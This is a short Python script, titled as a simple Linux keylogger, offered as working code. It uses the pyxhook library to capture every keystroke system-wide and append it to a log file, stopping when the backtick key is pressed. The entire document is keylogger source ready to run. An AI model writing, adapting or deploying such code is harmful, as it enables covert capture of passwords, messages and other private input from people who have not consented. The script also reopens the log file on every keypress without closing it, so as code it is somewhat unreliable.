Simple Keylogger For Linux In Python

#!/usr/bin/python3

import pyxhook as huks

log_file = '/home/ubuntu/Desktop/key.log'

def OnKeyPressed(event):
    logf = open(log_file, 'a')
    logf.write(event.Key)
    logf.write('\n')

    if event.Ascii == 96:
        logf.close()
        new_hook.cancel()

new_hook = huks.HookManager()
new_hook.KeyDown = OnKeyPressed
new_hook.HookKeyboard()
new_hook.start()

exit(0)